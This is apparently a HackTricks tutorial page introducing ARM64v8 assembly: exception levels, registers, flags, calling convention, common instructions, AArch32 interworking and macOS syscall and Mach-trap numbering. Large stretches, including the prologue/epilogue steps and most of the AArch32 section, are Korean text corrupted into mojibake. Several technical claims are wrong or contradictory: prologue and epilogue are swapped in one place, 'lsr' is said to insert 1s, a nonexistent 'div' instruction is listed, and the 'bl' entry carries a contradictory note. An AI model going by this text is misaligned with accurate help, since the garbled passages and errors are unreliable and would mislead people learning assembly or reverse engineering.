Introduction to ARM64v8
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Exception Levels - EL (ARM64v8)
In ARMv8 architecture, execution levels, known as Exception Levels (ELs), define the privilege level and capabilities of the execution environment. There are four exception levels, ranging from EL0 to EL3, each serving a different purpose:
- EL0 - User Mode:
- This is the least-privileged level and is used for executing regular application code.
- Applications running at EL0 are isolated from each other and from the system software, enhancing security and stability.
- EL1 - Operating System Kernel Mode:
- Most operating system kernels run at this level.
- EL1 has more privileges than EL0 and can access system resources, but with some restrictions to ensure system integrity. You go from EL0 to EL1 with the SVC instruction.
- EL2 - Hypervisor Mode:
- This level is used for virtualization. A hypervisor running at EL2 can manage multiple operating systems (each in its own EL1) running on the same physical hardware.
- EL2 provides features for isolation and control of the virtualized environments.
- So virtual machine applications like Parallels can use the
hypervisor.frameworkto interact with EL2 and run virtual machines without needing kernel extensions. - TO move from EL1 to EL2 the
HVCinstruction is used.
- EL3 - Secure Monitor Mode:
- This is the most privileged level and is often used for secure booting and trusted execution environments.
- EL3 can manage and control accesses between secure and non-secure states (such as secure boot, trusted OS, etc.).
- It was use for KPP (Kernel Patch Protection) in macOS, but itโs not used anymore.
- EL3 is not used anymore by Apple.
- The transition to EL3 is typically done using the
SMC(Secure Monitor Call) instruction.
The use of these levels allows for a structured and secure way to manage different aspects of the system, from user applications to the most privileged system software. ARMv8โs approach to privilege levels helps in effectively isolating different system components, thereby enhancing the security and robustness of the system.
Registers (ARM64v8)
ARM64 has 31 general-purpose registers, labeled x0 through x30. Each can store a 64-bit (8-byte) value. For operations that require only 32-bit values, the same registers can be accessed in a 32-bit mode using the names w0 through w30.
x0tox7- These are typically used as scratch registers and for passing parameters to subroutines.
x0also carries the return data of a function
x8- In the Linux kernel,x8is used as the system call number for thesvcinstruction. In macOS the x16 is the one used!x9tox15- More temporary registers, often used for local variables.x16andx17- Intra-procedural Call Registers. Temporary registers for immediate values. They are also used for indirect function calls and PLT (Procedure Linkage Table) stubs.
x16is used as the system call number for thesvcinstruction in macOS.
x18- Platform register. It can be used as a general-purpose register, but on some platforms, this register is reserved for platform-specific uses: Pointer to current thread environment block in Windows, or to point to the currently executing task structure in linux kernel.x19tox28- These are callee-saved registers. A function must preserve these registersโ values for its caller, so they are stored in the stack and recovered before going back to the caller.x29- Frame pointer to keep track of the stack frame. When a new stack frame is created because a function is called, thex29register is stored in the stack and the new frame pointer address is (spaddress) is stored in this registry.
- This register can also be used as a general-purpose registry although itโs usually used as reference to local variables.
x30orlr- Link register . It holds the return address when aBL(Branch with Link) orBLR(Branch with Link to Register) instruction is executed by storing thepcvalue in this register.
- It could also be used like any other register.
- If the current function is going to call a new function and therefore overwrite
lr, it will store it in the stack at the beginning, this is the epilogue (stp x29, x30 , [sp, #-48]; mov x29, sp-> Storefpandlr, generate space and get newfp) and recover it at the end, this is the prologue (ldp x29, x30, [sp], #48; ret-> Recoverfpandlrand return).
sp- Stack pointer, used to keep track of the top of the stack.
- the
spvalue should always be kept to at least a quadword alignment or a alignment exception may occur.
pc- Program counter, which points to the next instruction. This register can only be updates through exception generations, exception returns, and branches. The only ordinary instructions that can read this register are branch with link instructions (BL, BLR) to store thepcaddress inlr(Link Register).xzr- Zero register. Also calledwzrin it 32-bit register form. Can be used to get the zero value easily (common operation) or to perform comparisons usingsubslikesubs XZR, Xn, #10storing the resulting data nowhere (inxzr).
The Wn registers are the 32bit version of the Xn register.
Tip
The registers from X0 - X18 are volatile, which means that their values can be changed by function calls and interrupts. However, the registers from X19 - X28 are non-volatile, meaning their values must be preserved across function calls (โcallee savedโ).
SIMD and Floating-Point Registers
Moreover, there are another 32 registers of 128bit length that can be used in optimized single instruction multiple data (SIMD) operations and for performing floating-point arithmetic. These are called the Vn registers although they can also operate in 64-bit, 32-bit, 16-bit and 8-bit and then they are called Qn, Dn, Sn, Hn and Bn.
System Registers
There are hundreds of system registers, also called special-purpose registers (SPRs), are used for monitoring and controlling processors behaviour.
They can only be read or set using the dedicated special instruction mrs and msr.
The special registers TPIDR_EL0 and TPIDDR_EL0 are commonly found when reversing engineering. The EL0 suffix indicates the minimal exception from which the register can be accessed (in this case EL0 is the regular exception (privilege) level regular programs runs with).
They are often used to store the base address of the thread-local storage region of memory. Usually the first one is readable and writable for programs running in EL0, but the second can be read from EL0 and written from EL1 (like kernel).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE contains several process components serialized into the operating-system-visible SPSR_ELx special register, being X the permission level of the triggered exception (this allows to recover the process state when the exception ends).
These are the accessible fields:
.png)
- The
N,Z,CandVcondition flags: Nmeans the operation yielded a negative resultZmeans the operation yielded zeroCmeans the operation carriedVmeans the operation yielded a signed overflow:- The sum of two positive numbers yields a negative result.
- The sum of two negative numbers yields a positive result.
- In subtraction, when a large negative number is subtracted from a smaller positive number (or vice versa), and the result cannot be represented within the range of the given bit size.
- Obviously the processor doesnโt now the operation is signed or not, so it will check C and V in the operations and indicate of a carry occurred in case it was signed or unsigned.
Warning
Not all the instructions update these flags. Some like
CMPorTSTdo, and others that have an s suffix likeADDSalso do it.
- The current register width (
nRW) flag: If the flag holds the value 0, the program will run in the AArch64 execution state once resumed. - The current Exception Level (
EL): A regular program running in EL0 will have the value 0 - The single stepping flag (
SS): Used by debuggers to single step by setting the SS flag to 1 insideSPSR_ELxthrough an exception. The program will run a step and issue a single step exception. - The illegal exception state flag (
IL): Itโs used to mark when a privileged software performs an invalid exception level transfer, this flag is set to 1 and the processor triggers an illegal state exception. - The
DAIFflags: These flags allow a privileged program to selectively mask certain external exceptions. - If
Ais 1 it means asynchronous aborts will be triggered. TheIconfigures to respond to external hardware Interrupts Requests (IRQs). and the F is related to Fast Interrupt Requests (FIRs). - The stack pointer select flags (
SPS): Privileged programs running in EL1 and above can swap between using their own stack pointer register and the user-model one (e.g. betweenSP_EL1andEL0). This switching is performed by writing to theSPSelspecial register. This cannot be done from EL0.
Calling Convention (ARM64v8)
The ARM64 calling convention specifies that the first eight parameters to a function are passed in registers x0 through x7. Additional parameters are passed on the stack. The return value is passed back in register x0, or in x1 as well if its 128 bits long. The x19 to x30 and sp registers must be preserved across function calls.
When reading a function in assembly, look for the function prologue and epilogue. The prologue usually involves saving the frame pointer (x29), setting up a new frame pointer, and allocating stack space. The epilogue usually involves restoring the saved frame pointer and returning from the function.
Calling Convention in Swift
Swift have its own calling convention that can be found in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Common Instructions (ARM64v8)
ARM64 instructions generally have the format opcode dst, src1, src2, where opcode is the operation to be performed (such as add, sub, mov, etc.), dst is the destination register where the result will be stored, and src1 and src2 are the source registers. Immediate values can also be used in place of source registers.
-
mov: Move a value from one register to another. -
Example:
mov x0, x1โ This moves the value fromx1tox0. -
ldr: Load a value from memory into a register. -
Example:
ldr x0, [x1]โ This loads a value from the memory location pointed to byx1intox0. -
Offset mode: An offset affecting the orin pointer is indicated, for example:
-
ldr x2, [x1, #8], this will load in x2 the value from x1 + 8 -
ldr x2, [x0, x1, lsl #2], this will load in x2 an object from the array x0, from the position x1 (index) * 4 -
Pre-indexed mode: This will apply calculations to the origin, get the result and also store the new origin in the origin.
-
ldr x2, [x1, #8]!, this will loadx1 + 8inx2and store in x1 the result ofx1 + 8 -
str lr, [sp, #-4]!, Store the link register in sp and update the register sp -
Post-index mode: This is like the previous one but the memory address is accessed and then the offset is calculated and stored.
-
ldr x0, [x1], #8, loadx1inx0and update x1 withx1 + 8 -
PC-relative addressing: In this case the address to load is calculated relative to the PC register
-
ldr x1, =_start, This will load the address where the_startsymbol starts in x1 related to the current PC. -
str: Store a value from a register into memory. -
Example:
str x0, [x1]โ This stores the value inx0into the memory location pointed to byx1. -
ldp: Load Pair of Registers. This instruction loads two registers from consecutive memory locations. The memory address is typically formed by adding an offset to the value in another register. -
Example:
ldp x0, x1, [x2]โ This loadsx0andx1from the memory locations atx2andx2 + 8, respectively. -
stp: Store Pair of Registers. This instruction stores two registers to consecutive memory locations. The memory address is typically formed by adding an offset to the value in another register. -
Example:
stp x0, x1, [sp]โ This storesx0andx1to the memory locations atspandsp + 8, respectively. -
stp x0, x1, [sp, #16]!โ This storesx0andx1to the memory locations atsp+16andsp + 24, respectively, and updatesspwithsp+16. -
add: Add the values of two registers and store the result in a register. -
Syntax: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Destination
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operando 2 (register or immediate)
-
[shift #N | RRX] -> Perform a shift or call RRX
-
Example:
add x0, x1, x2โ This adds the values inx1andx2together and stores the result inx0. -
add x5, x5, #1, lsl #12โ This equals to 4096 (a 1 shifter 12 times) -> 1 0000 0000 0000 0000 -
addsThis perform anaddand updates the flags -
sub: Subtract the values of two registers and store the result in a register. -
Check
addsyntax. -
Example:
sub x0, x1, x2โ This subtracts the value inx2fromx1and stores the result inx0. -
subsThis is like sub but updating the flag -
mul: Multiply the values of two registers and store the result in a register. -
Example:
mul x0, x1, x2โ This multiplies the values inx1andx2and stores the result inx0. -
div: Divide the value of one register by another and store the result in a register. -
Example:
div x0, x1, x2โ This divides the value inx1byx2and stores the result inx0. -
lsl,lsr,asr,ror,rrx: -
Logical shift left: Add 0s from the end moving the other bits forward (multiply by n-times 2)
-
Logical shift right: Add 1s at the beginning moving the other bits backward (divide by n-times 2 in unsigned)
-
Arithmetic shift right: Like
lsr, but instead of adding 0s if the most significant bit is a 1, **1s are added (**divide by ntimes 2 in signed) -
Rotate right: Like
lsrbut whatever is removed from the right itโs appended to the left -
Rotate Right with Extend: Like
ror, but with the carry flag as the โmost significant bitโ. So the carry flag is moved to the bit 31 and the removed bit to the carry flag. -
bfm: Bit Filed Move, these operations copy bits0...nfrom a value an place them in positionsm..m+n. The#sspecifies the leftmost bit position and#rthe rotate right amount. -
Bitfiled move:
BFM Xd, Xn, #r -
Signed Bitfield move:
SBFM Xd, Xn, #r, #s -
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s -
Bitfield Extract and Insert: Copy a bitfield from a register and copies it to another register.
-
BFI X1, X2, #3, #4Insert 4 bits from X2 from the 3rd bit of X1 -
BFXIL X1, X2, #3, #4Extract from the 3rd bit of X2 four bits and copy them to X1 -
SBFIZ X1, X2, #3, #4Sign-extends 4 bits from X2 and inserts them into X1 starting at bit position 3 zeroing the right bits -
SBFX X1, X2, #3, #4Extracts 4 bits starting at bit 3 from X2, sign extends them, and places the result in X1 -
UBFIZ X1, X2, #3, #4Zero-extends 4 bits from X2 and inserts them into X1 starting at bit position 3 zeroing the right bits -
UBFX X1, X2, #3, #4Extracts 4 bits starting at bit 3 from X2 and places the zero-extended result in X1. -
Sign Extend To X: Extends the sign (or adds just 0s in the unsigned version) of a value to be able to perform operations with it:
-
SXTB X1, W2Extends the sign of a byte from W2 to X1 (W2is half ofX2) to fill the 64bits -
SXTH X1, W2Extends the sign of a 16bit number from W2 to X1 to fill the 64bits -
SXTW X1, W2Extends the sign of a byte from W2 to X1 to fill the 64bits -
UXTB X1, W2Adds 0s (unsigned) to a byte from W2 to X1 to fill the 64bits -
extr: Extracts bits from a specified pair of registers concatenated. -
Example:
EXTR W3, W2, W1, #3This will concat W1+W2 and get from bit 3 of W2 up to bit 3 of W1 and store it in W3. -
cmp: Compare two registers and set condition flags. Itโs an alias ofsubssetting the destination register to the zero register. Useful to know ifm == n. -
It supports the same syntax as
subs -
Example:
cmp x0, x1โ This compares the values inx0andx1and sets the condition flags accordingly. -
cmn: Compare negative operand. In this case itโs an alias ofaddsand supports the same syntax. Useful to know ifm == -n. -
ccmp: Conditional comparison, itโs a comparison that will be performed only if a previous comparison was true and will specifically set nzcv bits. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func-> if x1 != x2 and x3 < x4, jump to func -
This is because
ccmpwill only be executed if the previouscmpwas aNE, if it wasnโt the bitsnzcvwill be set to 0 (which wonโt satisfy thebltcomparison). -
This ca also be used as
ccmn(same but negative, likecmpvscmn). -
tst: It checks if any of the values of the comparison are both 1 (it works like and ANDS without storing the result anywhere). Itโs useful to check a registry with a value and check if any of the bits of the registry indicated in the value is 1. -
Example:
tst X1, #7Check if any of the last 3 bits of X1 is 1 -
teq: XOR operation discarding the result -
b: Unconditional Branch -
Example:
b myFunction -
Note that this wonโt fill the link register with the return address (not suitable for subrutine calls that needs to return back)
-
bl: Branch with link, used to call a subroutine. Stores the return address inx30. -
Example:
bl myFunctionโ This calls the functionmyFunctionand stores the return address inx30. -
Note that this wonโt fill the link register with the return address (not suitable for subrutine calls that needs to return back)
-
blr: Branch with Link to Register, used to call a subroutine where the target is specified in a register. Stores the return address inx30. (This is -
Example:
blr x1โ This calls the function whose address is contained inx1and stores the return address inx30. -
ret: Return from subroutine, typically using the address inx30. -
Example:
retโ This returns from the current subroutine using the return address inx30. -
b.<cond>: Conditional branches -
b.eq: Branch if equal, based on the previouscmpinstruction. -
Example:
b.eq labelโ If the previouscmpinstruction found two equal values, this jumps tolabel. -
b.ne: Branch if Not Equal. This instruction checks the condition flags (which were set by a previous comparison instruction), and if the compared values were not equal, it branches to a label or address. -
Example: After a
cmp x0, x1instruction,b.ne labelโ If the values inx0andx1were not equal, this jumps tolabel. -
cbz: Compare and Branch on Zero. This instruction compares a register with zero, and if they are equal, it branches to a label or address. -
Example:
cbz x0, labelโ If the value inx0is zero, this jumps tolabel. -
cbnz: Compare and Branch on Non-Zero. This instruction compares a register with zero, and if they are not equal, it branches to a label or address. -
Example:
cbnz x0, labelโ If the value inx0is non-zero, this jumps tolabel. -
tbnz: Test bit and branch on nonzero -
Example:
tbnz x0, #8, label -
tbz: Test bit and branch on zero -
Example:
tbz x0, #8, label -
Conditional select operations: These are operations whose behaviour varies depending on the conditional bits.
-
csel Xd, Xn, Xm, cond->csel X0, X1, X2, EQ-> If true, X0 = X1, if false, X0 = X2 -
csinc Xd, Xn, Xm, cond-> If true, Xd = Xn, if false, Xd = Xm + 1 -
cinc Xd, Xn, cond-> If true, Xd = Xn + 1, if false, Xd = Xn -
csinv Xd, Xn, Xm, cond-> If true, Xd = Xn, if false, Xd = NOT(Xm) -
cinv Xd, Xn, cond-> If true, Xd = NOT(Xn), if false, Xd = Xn -
csneg Xd, Xn, Xm, cond-> If true, Xd = Xn, if false, Xd = - Xm -
cneg Xd, Xn, cond-> If true, Xd = - Xn, if false, Xd = Xn -
cset Xd, Xn, Xm, cond-> If true, Xd = 1, if false, Xd = 0 -
csetm Xd, Xn, Xm, cond-> If true, Xd = <all 1>, if false, Xd = 0 -
adrp: Compute the page address of a symbol and store it in a register. -
Example:
adrp x0, symbolโ This computes the page address ofsymboland stores it inx0. -
ldrsw: Load a signed 32-bit value from memory and sign-extend it to 64 bits. This is used for common SWITCH cases. -
Example:
ldrsw x0, [x1]โ This loads a signed 32-bit value from the memory location pointed to byx1, sign-extends it to 64 bits, and stores it inx0. -
stur: Store a register value to a memory location, using an offset from another register. -
Example:
stur x0, [x1, #4]โ This stores the value inx0into the memory ddress that is 4 bytes greater than the address currently inx1. -
svc: Make a system call. It stands for โSupervisor Callโ. When the processor executes this instruction, it switches from user mode to kernel mode and jumps to a specific location in memory where the kernelโs system call handling code is located. -
Example:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Function Prologue
- Save the link register and frame pointer to the stack:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- ์ ํ๋ ์ ํฌ์ธํฐ ์ค์ :
mov x29, sp(ํ์ฌ ํจ์์ ์ ํ๋ ์ ํฌ์ธํฐ๋ฅผ ์ค์ ํฉ๋๋ค) - ๋ก์ปฌ ๋ณ์์ฉ ์คํ ๊ณต๊ฐ ํ ๋น (ํ์ํ ๊ฒฝ์ฐ):
sub sp, sp, <size>(<size>๋ ํ์ํ ๋ฐ์ดํธ ์์ ๋๋ค)
ํจ์ ์ํ๋ก๊ทธ
- ๋ก์ปฌ ๋ณ์ ํ ๋น ํด์ (ํ ๋น๋ ๊ฒฝ์ฐ):
add sp, sp, <size> - ๋งํฌ ๋ ์ง์คํฐ ๋ฐ ํ๋ ์ ํฌ์ธํฐ ๋ณต์:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret(๋งํฌ ๋ ์ง์คํฐ์ ์๋ ์ฃผ์๋ฅผ ์ฌ์ฉํ์ฌ ํธ์ถ์์๊ฒ ์ ์ด๋ฅผ ๋ฐํํจ)
ARM ์ผ๋ฐ ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ
AARCH32 ์คํ ์ํ
Armv8-A๋ 32๋นํธ ํ๋ก๊ทธ๋จ ์คํ์ ์ง์ํฉ๋๋ค. AArch32๋ ๋ ๊ฐ์ง ๋ช
๋ น์ด ์ธํธ ์ค ํ๋์ธ A32 ๋๋ **T32**๋ก ์คํ๋ ์ ์์ผ๋ฉฐ **interworking**์ ํตํด ์ ํํ ์ ์์ต๋๋ค.
๊ถํ์ด ์๋ 64๋นํธ ํ๋ก๊ทธ๋จ์ ์์ธ ๋ ๋ฒจ ์ ์ก์ ์คํํ์ฌ ๋ ๋ฎ์ ๊ถํ์ 32๋นํธ ํ๋ก๊ทธ๋จ์ ์คํ์ ์์ฝํ ์ ์์ต๋๋ค.
64๋นํธ์์ 32๋นํธ๋ก์ ์ ํ์ ๋ ๋ฎ์ ์์ธ ๋ ๋ฒจ์์ ๋ฐ์ํ๋ค๋ ์ ์ ์ ์ํ์ธ์(์: EL1์ 64๋นํธ ํ๋ก๊ทธ๋จ์ด EL0์ ํ๋ก๊ทธ๋จ์ ํธ๋ฆฌ๊ฑฐํ๋ ๊ฒฝ์ฐ). ์ด๋ AArch32 ํ๋ก์ธ์ค ์ค๋ ๋๊ฐ ์คํ ์ค๋น๊ฐ ๋์์ ๋ ํน์ ๋ ์ง์คํฐ์ธ **SPSR_ELx**์ ๋นํธ 4๋ฅผ 1๋ก ์ค์ ํ๊ณ SPSR_ELx์ ๋๋จธ์ง ๋ถ๋ถ์ AArch32 ํ๋ก๊ทธ๋จ์ CPSR์ ์ ์ฅํจ์ผ๋ก์จ ์ด๋ฃจ์ด์ง๋๋ค. ๊ทธ๋ฐ ๋ค์ ๊ถํ ์๋ ํ๋ก์ธ์ค๊ฐ ERET ๋ช
๋ น์ ํธ์ถํ์ฌ ํ๋ก์ธ์๊ฐ **AArch32๋ก ์ ํ๋๋ฉฐ CPSR์ ๋ฐ๋ผ A32 ๋๋ T32๋ก ์ง์
ํฉ๋๋ค.
interworking์ CPSR์ J ๋ฐ T ๋นํธ๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ํฉ๋๋ค. J=0 ๋ฐ T=0์ **A32**๋ฅผ ์๋ฏธํ๊ณ J=0 ๋ฐ T=1์ T32๋ฅผ ์๋ฏธํฉ๋๋ค. ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ช
๋ น์ด ์ธํธ๊ฐ T32์์ ํ์ํ๊ธฐ ์ํด ์ตํ์ ๋นํธ๋ฅผ 1๋ก ์ค์ ํ๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
์ด ๋นํธ๋ interworking ๋ถ๊ธฐ ๋ช
๋ น๋ค์์ ์ค์ ๋์ง๋ง, PC๊ฐ ๋ชฉ์ ์ง ๋ ์ง์คํฐ๋ก ์ค์ ๋ ๋ ๋ค๋ฅธ ๋ช
๋ น๋ค๋ก ์ง์ ์ค์ ๋ ์๋ ์์ต๋๋ค. ์:
๋ ๋ค๋ฅธ ์:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
๋ ์ง์คํฐ
16๊ฐ์ 32-bit ๋ ์ง์คํฐ(r0-r15)๊ฐ ์๋ค. r0์์ r14๊น์ง๋ ์์์ ์ฐ์ฐ์ ์ฌ์ฉํ ์ ์์ง๋ง, ์ผ๋ถ๋ ์ผ๋ฐ์ ์ผ๋ก ์์ฝ๋์ด ์๋ค:
r15: ํ๋ก๊ทธ๋จ ์นด์ดํฐ(ํญ์). ๋ค์ ๋ช ๋ น์ด์ ์ฃผ์๋ฅผ ๋ด๋๋ค. A32์์๋ current + 8, T32์์๋ current + 4.r11: ํ๋ ์ ํฌ์ธํฐr12: ์ ์ฐจ ๋ด๋ถ ํธ์ถ ๋ ์ง์คํฐr13: ์คํ ํฌ์ธํฐ (์คํ์ ํญ์ 16๋ฐ์ดํธ ์ ๋ ฌ๋์ด ์์)r14: ๋งํฌ ๋ ์ง์คํฐ
๋ํ ๋ ์ง์คํฐ๋ **banked registries**์ ๋ฐฑ์
๋๋ค. ์ด๋ ๋ ์ง์คํฐ ๊ฐ์ ์ ์ฅํ์ฌ ์์ธ ์ฒ๋ฆฌ์ ํน๊ถ ์ฐ์ฐ์์ ๋งค๋ฒ ์๋์ผ๋ก ์ ์ฅ/๋ณต์ํ ํ์ ์์ด ๋น ๋ฅธ ์ปจํ
์คํธ ์ค์์นญ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ์ฅ์์ด๋ค.
์ด๊ฒ์ ์์ธ๊ฐ ์ ๋ฌ๋ ํ๋ก์ธ์ ๋ชจ๋์ **CPSR**์์ **SPSR**๋ก ํ๋ก์ธ์ ์ํ๋ฅผ ์ ์ฅํจ์ผ๋ก์จ ์ด๋ฃจ์ด์ง๋ค. ์์ธ ๋ณต๊ท ์์๋ **CPSR**์ด **SPSR**์์ ๋ณต์๋๋ค.
CPSR - Current Program Status Register
AArch32์์ CPSR์ AArch64์ **PSTATE**์ ์ ์ฌํ๊ฒ ๋์ํ๋ฉฐ, ์์ธ๊ฐ ๋ฐ์ํ๋ฉด ์คํ์ ๋์ค์ ๋ณต์ํ๊ธฐ ์ํด **SPSR_ELx**์ ์ ์ฅ๋๋ค:
.png)
ํ๋๋ ๋ช ๊ฐ์ ๊ทธ๋ฃน์ผ๋ก ๋๋๋ค:
- Application Program Status Register (APSR): ์ฐ์ ํ๋๊ทธ์ด๋ฉฐ EL0์์ ์ ๊ทผ ๊ฐ๋ฅ
- Execution State Registers: ํ๋ก์ธ์ค ๋์(์ด์์ฒด์ ๊ฐ ๊ด๋ฆฌ)
Application Program Status Register (APSR)
N,Z,C,Vํ๋๊ทธ(AArch64์ ๋์ผ)Qํ๋๊ทธ: ์ ๋ฌธ ํฌํ ์ฐ์ ๋ช ๋ น ์คํ ์ค์ **์ ์ ํฌํ(integer saturation)**๊ฐ ๋ฐ์ํ๋ฉด 1๋ก ์ค์ ๋๋ค. ํ ๋ฒ **1**๋ก ์ค์ ๋๋ฉด ์๋์ผ๋ก 0์ผ๋ก ์ค์ ํ ๋๊น์ง ์ ์ง๋๋ค. ๋ํ ์ด ๊ฐ์ ์๋ฌต์ ์ผ๋ก ๊ฒ์ฌํ๋ ๋ช ๋ น์ ์์ผ๋ฉฐ ์๋์ผ๋ก ์ฝ์ด์ผ ํ๋ค.GE(Greater than or equal) ํ๋๊ทธ: SIMD (Single Instruction, Multiple Data) ์ฐ์ฐ์์ ์ฌ์ฉ๋๋ค(์: โparallel addโ, โparallel subtractโ). ์ด๋ฌํ ์ฐ์ฐ์ ๋จ์ผ ๋ช ๋ น์ผ๋ก ์ฌ๋ฌ ๋ฐ์ดํฐ ํฌ์ธํธ๋ฅผ ์ฒ๋ฆฌํ ์ ์๋ค.
์๋ฅผ ๋ค์ด, UADD8 ๋ช
๋ น์ ๋ณ๋ ฌ๋ก ๋ค ์์ ๋ฐ์ดํธ(๋ ๊ฐ์ 32๋นํธ ์คํผ๋๋์์)๋ฅผ ๋ํ์ฌ ๊ฒฐ๊ณผ๋ฅผ 32๋นํธ ๋ ์ง์คํฐ์ ์ ์ฅํ๋ค. ๊ทธ๋ฐ ๋ค์ ์ด ๊ฒฐ๊ณผ์ ๋ฐ๋ผ **APSR**์ GE ํ๋๊ทธ๋ฅผ ์ค์ ํ๋ค. ๊ฐ GE ํ๋๊ทธ๋ ๋ฐ์ดํธ ๋ํ๊ธฐ ์ค ํ๋์ ๋์ํ๋ฉฐ, ํด๋น ๋ฐ์ดํธ ์์ ๋ง์
์ด ์ค๋ฒํ๋ก์ฐํ๋์ง๋ฅผ ๋ํ๋ธ๋ค.
SEL ๋ช
๋ น์ ์ด๋ฌํ GE ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์กฐ๊ฑด๋ถ ๋์์ ์ํํ๋ค.
Execution State Registers
J๋ฐT๋นํธ: **J**๋ 0์ด์ด์ผ ํ๋ฉฐ **T**๊ฐ 0์ด๋ฉด A32 ๋ช ๋ น ์ธํธ๊ฐ ์ฌ์ฉ๋๊ณ , 1์ด๋ฉด T32๊ฐ ์ฌ์ฉ๋๋ค.- IT Block State Register (
ITSTATE): ์ด๋ 10-15 ๋นํธ์ 25-26 ๋นํธ์ด๋ค.IT์ ๋์ฌ ๊ทธ๋ฃน ๋ด๋ถ์ ๋ช ๋ น๋ค์ ๋ํ ์กฐ๊ฑด์ ์ ์ฅํ๋ค. E๋นํธ: ์๋์์ฑ(endianness)์ ๋ํ๋ธ๋ค.- Mode and Exception Mask Bits (0-4): ํ์ฌ ์คํ ์ํ๋ฅผ ๊ฒฐ์ ํ๋ค. 5๋ฒ์งธ ๋นํธ๋ ํ๋ก๊ทธ๋จ์ด 32bit(1)๋ก ์คํ๋๋์ง ๋๋ 64bit(0)๋ก ์คํ๋๋์ง๋ฅผ ๋ํ๋ธ๋ค. ๋๋จธ์ง 4๋นํธ๋ ์์ธ๊ฐ ๋ฐ์ํ์ฌ ์ฒ๋ฆฌ๋๋ ๋์ ์ฌ์ฉ๋๋ ์์ธ ๋ชจ๋๋ฅผ ๋ํ๋ด๋ฉฐ, ์ค์ ๋ ๊ฐ์ ์ฒ๋ฆฌ ์ค ๋ค๋ฅธ ์์ธ๊ฐ ๋ฐ์ํ์ ๋์ ์ฐ์ ์์๋ฅผ ํ์ํ๋ค.
.png)
AIF: ํน์ ์์ธ๋A,I,F๋นํธ๋ฅผ ์ฌ์ฉํ์ฌ ๋นํ์ฑํํ ์ ์๋ค. **A**๊ฐ 1์ด๋ฉด asynchronous aborts๊ฐ ๋ฐ์ํจ์ ์๋ฏธํ๋ค. **I**๋ ์ธ๋ถ ํ๋์จ์ด Interrupts Requests(IRQs)์ ์๋ตํ๋๋ก ์ค์ ํ๊ณ ,F๋ Fast Interrupt Requests(FIRs)์ ๊ด๋ จ๋๋ค.
macOS
BSD syscalls
Check out syscalls.master or run cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. BSD syscalls will have x16 > 0.
Mach Traps
Check out in syscall_sw.c the mach_trap_table and in mach_traps.h the prototypes. The mex number of Mach traps is MACH_TRAP_TABLE_COUNT = 128. Mach traps will have x16 < 0, so you need to call the numbers from the previous list with a minus: _kernelrpc_mach_vm_allocate_trap is -10.
You can also check libsystem_kernel.dylib in a disassembler to find how to call these (and BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
Tip
๋๋ก๋ ์ฌ๋ฌ syscalls (BSD ๋ฐ Mach)์ ์ฝ๋๊ฐ ์คํฌ๋ฆฝํธ๋ก ์์ฑ๋๊ธฐ ๋๋ฌธ์(์์ค ์ฝ๋์ ์ฃผ์์ ํ์ธ) **
libsystem_kernel.dylib**์์ ๋์ปดํ์ผ๋ ์ฝ๋๋ฅผ ํ์ธํ๋ ๊ฒ์ด ์์ค ์ฝ๋๋ฅผ ํ์ธํ๋ ๊ฒ๋ณด๋ค ๋ ์ฌ์ธ ๋๊ฐ ์์ต๋๋ค. dylib์์๋ ์ค์ ๋ก ๋ฌด์์ด ํธ์ถ๋๋์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
machdep calls
